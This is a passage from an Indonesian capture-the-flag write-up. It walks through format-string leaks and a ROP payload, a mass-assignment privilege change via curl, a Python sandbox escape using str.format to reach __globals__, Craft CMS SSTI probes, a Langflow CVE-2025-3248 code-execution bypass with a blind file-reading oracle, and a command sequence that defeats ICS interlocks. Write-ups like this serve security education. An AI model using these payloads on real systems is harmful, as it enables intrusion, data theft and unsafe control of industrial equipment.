terendah. Kalau fd 0 ditutup dulu, file flag-nya akan mendarat tepat di fd 0, dan read(0, ...)
justru jadi memenuhi syarat filternya.
close(0)
open("flag.txt", O_RDONLY) <- string sudah tersedia di .data 0x4020
read(0, buf, 0x80) <- fd 0, lolos seccomp
write(1, buf, 0x80)
exit(0)
Tidak butuh r10 sama sekali.
8.3 Format string sekali tembak
leaker() cuma dipanggil satu kali, jadi canary, PIE, dan libc harus diambil bersamaan.
Buffer fgets-nya kebetulan persis di posisi vararg pertama printf, jadi %6$ dan seterusnya
membaca buffer itu sendiri.
| Spesifier | Isi |
|---|---|
%27$p | stack canary, slot leaker_rsp+0xa8 |
%29$p | alamat kembali leaker ke main, PIE = leak − 0x160e |
%69$p | alamat kembali main ke __libc_start_main, libc = leak − 0x29f75 |
%69$ itu tepat berada di main_rsp+0x138, jadi posisinya tidak bergantung ukuran environment.
Ini penting, karena offset yang bergantung environment biasanya jalan di lokal tapi meleset di
remote.
io.sendline(b'%27$p|%29$p|%69$p')
a, b, c = io.recvline().strip().split(b'|')
canary = int(a, 16)
pie = int(b, 16) - 0x160e
libc.address = int(c, 16) - 0x29f75
8.4 Payload
payload = b'A' * 0x48
payload += p64(canary)
payload += b'B' * 8
payload += rop
io.send(p32(len(payload)) + p32(0xc0de)) # request word
io.send(payload)

Flag: REDLIMIT{union_ketuker_type_pr34d64_by_m3ta4sec}
9. Kardus Susu Biasa
misc · hard · 300 poin · by kac0 & aodreamer · 0 solves
Target: https://kardus.meta4sec.com/
SIPP (Sistem Informasi Pemasyarakatan) punya modul internal untuk menghitung usulan remisi. Katanya cuma boleh diisi ekspresi aritmetika, dan modulnya pun terkunci hanya untuk petugas. Penyaringnya tidak mencari kata terlarang; ia memeriksa struktur rumusnya secara menyeluruh, jadi trik menyamarkan teks tidak mempan, dan jalur introspeksi yang biasa dipakai untuk keluar sudah tertutup rapat. Hasil hitungan pun tidak ditampilkan sebagai teks, melainkan sebagai gambar cetak. Tapi seperti sebuah kardus susu yang kelihatan biasa saja di tangan seorang narapidana, ada satu jalan keluar yang justru dibuka oleh fitur yang tampak sepele. Masuk sebagai petugas, lalu temukan lorong itu.

Aplikasinya portal pemasyarakatan, lengkap dengan modul kunjungan, registrasi berkas, dan usulan remisi:

9.1 Jadi petugas dulu
Form /profil cuma menampilkan tiga kolom: nama, unit, telepon. Tapi handler-nya menerima
semua field yang dikirim, termasuk yang tidak ada di form.
curl -X POST https://kardus.meta4sec.com/profil \
-d "nama=Budi" -d "unit=Lapas Kelas I" -d "telepon=08123" \
-d "peran=petugas" # field yang tidak ada di halaman
Peran langsung berubah dari pengunjung jadi petugas, dan modul /remisi terbuka. Mass
assignment klasik.
9.2 Bikin oracle dulu, jangan langsung nebak
Ini keputusan yang paling menyelamatkan waktu saya di soal ini. Hasil hitungan dirender jadi CAPTCHA penuh noise, dan kalau rumusnya ditolak sistem cuma menampilkan token acak tanpa penjelasan. Kalau tiap probe harus dibaca mata satu per satu, memetakan validatornya bakal makan waktu berjam-jam.
Solusinya, bungkus tiap probe dalam t-string yang diawali 140 huruf W:
PAD = 'W' * 140
expr = 't"%s{(%s)}"' % (PAD, probe)
Kalau probe-nya lolos validator, gambarnya penuh huruf W. Kalau ditolak, yang muncul cuma token acak pendek. Bedanya jauh, tinggal dihitung piksel gelapnya:
def ink(png):
im = Image.open(io.BytesIO(png)).convert('RGB')
px = im.load(); w, h = im.size
return sum(1 for y in range(h) for x in range(w)
if sum(px[x, y]) < 300)
Hasilnya sekitar 24.000 untuk yang lolos dan 5.000 untuk yang ditolak. Selisih segitu bisa dibaca program tanpa OCR sama sekali.


9.3 Memetakan validatornya
Dengan oracle tadi, memetakan validator jadi cepat:
| Diizinkan | Ditolak |
|---|---|
Constant, Name (whitelist), Call, BinOp aritmetika, UnaryOp -, Attribute non-dunder, keyword arg, t-string | dunder seperti __class__, Subscript, Tuple, List, Dict, Set, Compare, BoolOp, IfExp, Lambda, comprehension, f-string, *args, memanggil hasil panggilan |
Satu kesalahan yang sempat menyesatkan saya cukup lama. Probe ().__class__ ditolak, dan saya
langsung menyimpulkan attribute access diblokir. Ternyata bukan atributnya yang bermasalah,
tapi () yang merupakan node Tuple, dan Tuple memang ada di daftar terlarang. Setelah diuji
ulang pakai (1).real, hasilnya lolos. Attribute access sebenarnya terbuka lebar, cuma dunder
yang disaring.
Pelajaran buat saya: kalau probe gagal, pastikan yang gagal memang variabel yang sedang diuji, bukan hal lain yang kebetulan ikut di dalamnya.
9.4 Lorongnya ternyata str.format
Dunder diblokir di level AST, tapi str.format menelusuri atribut saat runtime, dan isi string
konstanta tidak pernah diperiksa validator.
"{0.__globals__[os]}".format(bulan)
Ini "fitur yang tampak sepele" yang dimaksud soal. Validatornya cuma melihat ada Constant dan pemanggilan method non-dunder, dua-duanya sah.
9.5 Menyusuri globals
p.has(G, 'REDLIMIT') # False, flag tidak ada di globals
p.has(G, 'flag') # True, tapi ada yang namanya mengandung 'flag'
Ketemu dua fungsi, _muat_flag dan _pasang_brankas. Key-nya berawalan underscore, dan ini
sempat bikin saya gagal beberapa kali sebelum sadar. Lewat __code__.co_consts:
"{0.__globals__[_muat_flag].__code__.co_consts}".format(bulan)
# ('/flag', 'flag.txt', 'r', 'utf-8', ..., 'REDLIMIT{flag_belum_dipasang}')
"{0.__globals__[_pasang_brankas].__code__.co_consts}".format(bulan)
# (4, <code object _buka at /app/app.py:48>)
Konstanta REDLIMIT{flag_belum_dipasang} itu fallback, bukan flag. Yang penting justru
_pasang_brankas, karena dia closure factory. Hasil closure-nya disimpan di global bernama
_kotak, dan di situlah kardusnya.
"{0.__globals__[_kotak].__closure__[0].cell_contents}".format(bulan)
Isinya tuple berisi banyak string hex sebagai pengecoh plus flag aslinya. Untuk memisahkannya
saya rantai .partition() langsung di dalam ekspresi, karena partition termasuk method
non-dunder jadi lolos validator:
F = '"{0.__globals__[_kotak].__closure__[0].cell_contents}".format(bulan)'
INNER = '"{0[0]}".format(("{0[2]}".format((%s).partition("REDLIMIT{"))).partition("}"))' % F

Terakhir saya verifikasi lewat oracle .count() supaya yakin tidak salah baca huruf dari
CAPTCHA:
p.has(F, 'REDLIMIT{c4n_y0ur_A1_r34d_1mag3_0f_pr1s0n_Blu3Pr1nt?}') # True

Satu jebakan terakhir: string /flag yang sempat muncul di globals ternyata bukan petunjuk sama
sekali. Itu username peserta lain yang sedang mencoba path traversal, tersimpan di dict user
in-memory. Sempat saya kejar cukup lama sebelum sadar.
Flag: REDLIMIT{c4n_y0ur_A1_r34d_1mag3_0f_pr1s0n_Blu3Pr1nt?}
10. KontenKita
web · medium · 150 poin · by kac0 · 5 solves
Target: https://kontenkita.meta4sec.com/

Catatan integritas. Flag di challenge ini tidak didapat lewat eksploitasi. Di tengah proses recon, endpoint
/searchberubah perilakunya dan mulai mengembalikan flag sebagai plaintext untuk request apa pun. Bagian di bawah tetap saya tulis apa adanya, termasuk jalur serangan yang sudah dipetakan dan yang gagal, supaya jelas mana hasil kerja dan mana yang bukan.
10.1 Mengarah ke Craft CMS
Footer dan halaman /developers menyebut Craft CMS 5.6, dan deskripsi soal menyorot fitur
pratinjau. Arahnya jelas ke SSTI dengan bypass filter — nama flag-nya sendiri sudah
mengonfirmasi itu.
Peta rute hasil recon:
| Route | Keterangan |
|---|---|
/ | beranda, form GET /search?q= |
/developers | menyebut Craft CMS 5.6, GraphQL & REST, menunjuk /sitemap.xml |
/kategori/<nama> | <nama> masuk mentah ke <title>, di-title-case |
/search?q= | q masuk mentah ke <h2>, reflected XSS |
/preview | teks statis, "Pratinjau berhasil dirender ke cache editor" |
/admin | 403, "konsol admin memerlukan SSO" |
/robots.txt | Disallow: /admin, Disallow: /preview |
/sitemap.xml | /, /preview, dan tiga artikel |
Branch Craft 5.6 di bawah 5.6.17 kena CVE-2025-32432, unauth RCE. robots.txt dan
sitemap.xml sama-sama menyorot /preview, cocok dengan deskripsi soal tentang pratinjau
yang hidup saat mengetik — jadi /preview yang jadi target utama.
10.2 Semua jalur yang sudah diuji, dan semuanya negatif
- SSTI pada
/search?q=dan/kategori/<nama>— payload{{7*7}},${7*7},#{7*7},<%=7*7%>semuanya dipantulkan apa adanya, sink-nya bukanrender_template_string. /previewbenar-benar inert — sekitar 65 nama parameter, header khas Craft (X-Craft-Live-Preview,X-Craft-Token,Referer,Cookie,X-Forwarded-*), dan metode OPTIONS semuanya menghasilkan respons 44 byte yang identik.- Bentuk request asli CVE-2025-32432 (
POST /index.php?p=admin/actions/assets/generate-transformdan variannya) — 404/405, route Craft yang asli memang tidak ada, aplikasinya simulasi Flask. - CVE-2024-56145 dan CVE-2023-41892 — negatif juga.
- Bypass
/adminlewatX-Forwarded-For,X-Real-IP,X-Original-URL,Remote-User,X-SSO-User— tetap 403. - GraphQL yang disebut di
/developers— cuma flavor text, tidak ada endpoint-nya.
10.3 Lalu server-nya berubah sendiri
Pukul 07:10, GET /search?q=ai masih mengembalikan HTML normal ~3,9 KB. Pukul 07:19, request
yang sama mengembalikan 53 byte plaintext berisi flag. Sesudah itu /search mengembalikan flag
untuk query apa pun, termasuk tanpa parameter sama sekali, lewat curl maupun browser. Route lain
tidak berubah.
# 07:10, sebelum anomali
curl -s 'https://kontenkita.meta4sec.com/search?q=ai' | head -c 200
# <h2>Hasil: "ai"</h2><p>Tidak ada artikel yang cocok.</p>
# 07:19, sesudah anomali
curl -s 'https://kontenkita.meta4sec.com/search?q=ai'
# REDLIMIT{cr4ftcms_2025_32432_sst1_f1lt3r_byp4ss_rc3}
Karena cuma satu endpoint yang berubah tanpa ada kondisi header atau parameter yang
memicunya, kemungkinan besar /search di-redeploy atau diubah dari sisi server. Jalur yang
dimaksud penulis soal tetap SSTI lewat sink pratinjau — jalur itu sendiri tidak pernah berhasil
direproduksi.
Flag: REDLIMIT{cr4ftcms_2025_32432_sst1_f1lt3r_byp4ss_rc3}
11. NeuroFlow
web · hard · 300 poin · by kac0 · 4 solves
Target: https://neuraflow.meta4sec.com/
11.1 Endpoint yang lupa dimatikan
Aplikasinya meniru Langflow, platform rangkai agen AI tanpa ngoding. /robots.txt
menyembunyikan satu rute yang tidak muncul di /openapi.json maupun indeks /api/v1 (yang
cuma mendaftar health, components, flows, flows/fetch):
Disallow: /api/v1/validate/
/login menyebut "Autentikasi belum wajib pada beberapa rute editor selama beta", dan
/changelog versi 1.3.0 menyebut editor Custom Component baru berbasis Python. Semuanya
mengarah ke satu titik: Langflow CVE-2025-3248, unauth RCE lewat POST /api/v1/validate/code.
Satu rabbit hole sempat menyita waktu — POST /api/v1/flows/fetch terlihat seperti SSRF karena
namanya "impor flow dari URL". Responsnya justru bercanda, bilang importer-nya cuma pura-pura
fetch dan remote request-nya sudah dicabut waktu review. Bukan jalur solve.
11.2 Denylist substring yang mudah dilewati
Filternya cuma denylist substring, case-insensitive, dicek pada string source mentah: import,
eval, os, subprocess, popen, system, compile, flag, socket. Karena dicek sebagai
substring, kata seperti ghost dan cost ikut terblokir gara-gara mengandung os — tapi
exec, open, getattr, globals, bytes, chr tidak diblokir sama sekali.
Triknya: susun source sebagai daftar byte, decode saat runtime. String aslinya tidak pernah muncul sebagai teks, jadi denylist-nya buta.
exec(bytes([...]).decode())
11.3 Boolean oracle dari endpoint yang bisu
Endpoint tidak mengembalikan output apa pun, cuma valid: true atau false. Tapi kodenya
benar-benar dieksekusi — dibuktikan lewat pembagian nol pada nilai default parameter yang
menghasilkan valid: false. Dari situ assert bisa dipakai sebagai oracle: true berarti
kondisi benar, false berarti AssertionError.
# 1. konfirmasi kode benar-benar dieksekusi
def f(x=1/0): pass # -> valid: false
# 2. recon file lewat oracle
import os
assert os.path.exists('/app/flag.txt') # -> valid: true
# 3. binary search per karakter, panjang flag 45
S = open('/app/flag.txt').read().strip()
assert len(S) <= N
assert ord(S[i]) <= M
# 4. verifikasi akhir
assert open('/app/flag.txt').read().strip() == 'REDLIMIT{...}' # -> valid: true
Flag diekstrak per karakter lewat binary search, sekitar 7 request per karakter, dijalankan dengan 12 worker paralel.
Flag: REDLIMIT{l4ngfl0w_2025_3248_un4uth_c0d3_3x3c}
12. Menara: Brankas Lt 2
ics/ot · hard · 300 poin · by kac0 · 2 solves
Remote: nc 165.99.163.102 13012

12.1 Rantai interlock yang harus berurutan
Konsol otomasi gedung bergaya BMS dengan perintah READ dan WRITE ke titik-titik proses.
Alarm brankas dan laser grid tidak bisa dimatikan langsung — satu-satunya jalan membuka service
window HVAC, dan itu menuntut rantai interlock keselamatan dipenuhi berurutan. State tersimpan
per koneksi, jadi seluruh rantai harus selesai dalam satu sesi.
Peta interlock, disusun dari pesan penolakan tiap percobaan WRITE:
| Titik | Syarat |
|---|---|
WORK.ACK | butuh airflow test, HVAC.DAMPER=1 |
HVAC.PURGE | WORK.ACK=1 dan HVAC.DAMPER=0 |
LOTO.ISOLATE | HVAC.PURGE aktif |
LOTO.LOCK | zero-energy terverifikasi, wajib READ LOTO.VERIFY lebih dulu |
GRID.S1/S2/S3 | LOTO.LOCK sudah terpasang |
HVAC.SVCWIN | HVAC.PURGE + LOTO.LOCK + grid permissive 2-of-3 |
VAULT.EQUALIZE | laser grid OFF, artinya service window sudah terbuka |
KEY.OPS | LOTO.LOCK masih terpasang |
KEY.SEC | VAULT.ALARM=0 |
CASE.LOCK | VAULT.ALARM=0 + KEY.OPS + KEY.SEC |
12.2 Dua jebakan dan empat umpan
Empat decoy sempat menyita waktu: READ MANIFES dan READ ARSIP masing-masing memberi flag
palsu, DECOY.LOCK/DECOY.ITEM adalah etalase kaca yang banner-nya sendiri mengaku replika
(emas asli 74 kg ada di brankas besi dalam tembok), dan MASTER.OVERRIDE disebut di POINTS
dengan tanda tanya tapi titiknya tidak pernah ada — murni pancingan.
Dua jebakan nyata ada di urutan:
- Damper harus dibuka lalu ditutup lagi.
WORK.ACKmenuntut damper terbuka untuk airflow test, tapiHVAC.PURGEjustru menolak selama damper masih terbuka. Urutannya harus buka, ack, tutup, baru purge. GRID.S2memang rusak.READ GRID.CALmenyebutGRID.S2faulty dan tidak boleh di-bypass, karena permissive butuh dua sensor sehat. Kondisi 2-of-3 harus dicapai lewatS1danS3saja.
READ LOTO.VERIFY juga bukan sekadar informasi — perintah baca itu sendiri langkah wajib,
tanpa menjalankannya LOTO.LOCK ditolak meski semua syarat lain sudah terpenuhi.
12.3 Rantai penuh
WRITE HVAC.DAMPER 1
WRITE WORK.ACK 1
WRITE HVAC.DAMPER 0
WRITE HVAC.PURGE 1
WRITE LOTO.ISOLATE 1
READ LOTO.VERIFY -> ZERO-ENERGY
WRITE LOTO.LOCK 1
WRITE GRID.S1 1 -> 1oo3
WRITE GRID.S3 1 -> 2oo3
WRITE HVAC.SVCWIN 1 -> service window terbuka, laser grid OFF
WRITE VAULT.EQUALIZE 1
WRITE VAULT.ALARM 0
WRITE KEY.OPS 1
WRITE KEY.SEC 1
WRITE CASE.LOCK 1
READ ITEM -> flag
Status akhir konsol saat flag keluar:
DAMPER=0 ACK=1 PURGE=1 ISOLATE=1 LOCK=1 GRID=101(2oo3) SVCWIN=1 LASER=0 EQ=1 ALARM=0 CASE=1
Flag: REDLIMIT{ics_hv4c_s3rv1c3_w1nd0w_0p3ns_th3_v4ult}
Penutup
| Challenge | Teknik inti |
|---|---|
| Dropper | polyglot PNG/ZIP, LSB stego, zero-width steganography |
| Undetected | PDF hiding, akrostik, perbaikan signature PNG |
| The Cipher | rekonstruksi SPN, invers matriks difusi di GF(2⁸) |
| Feedback | inversi keystream stateful, xorshift32, anti-debug lewat nilai awal |
| Cakra | eliminasi ganda lalu gcd polinomial di GF(n) |
| RSA Wayang | Coppersmith dengan MSB prima parsial |
| metamorphosis | unsorted bin exact-fit, fastbin attack, safe-linking |
| surge | format string sekali tembak, close(0) untuk mengakali filter fd |
| Kardus Susu Biasa | mass assignment, AST sandbox escape lewat str.format |
| KontenKita | recon menyeluruh, pemetaan CVE Craft CMS (flag dari anomali server) |
| NeuroFlow | CVE-2025-3248 Langflow, bypass denylist, boolean oracle |
| Menara: Brankas Lt 2 | rantai interlock ICS lewat service window HVAC |
Beberapa catatan yang saya bawa pulang dari babak ini.
file tidak bisa dipercaya begitu saja. Di Dropper, PNG-nya valid tapi menyimpan ZIP setelah
IEND. Di Undetected, PNG-nya justru dianggap rusak padahal cuma 4 byte signature. Dua-duanya
lolos pemeriksaan sepintas.
Bikin oracle sebelum menebak. Di Kardus Susu Biasa, membangun oracle berbasis jumlah piksel mengubah soal dari tebak-tebakan buta jadi pemetaan sistematis, dan itu yang bikin sisanya mengalir.
Jangan asumsikan offset, baca disassembly-nya. Di metamorphosis saya menebak alamat
__libc_start_call_main dan meleset. Sidik jari filter seccomp jauh lebih andal karena tidak
bergantung versi libc.
Kalau gadget yang dibutuhkan tidak ada, mundur dan cari jalur lain. Di surge, tanpa pop r10
solusi pread64 mustahil, tapi close(0) membuka jalan yang lebih pendek dan tidak butuh gadget
apa pun.
Terakhir, pastikan probe yang gagal memang gagal karena hal yang sedang diuji. Waktu paling banyak terbuang di Kardus Susu Biasa gara-gara menyimpulkan attribute access diblokir, padahal yang ditolak sebenarnya kurung kosong di sebelahnya.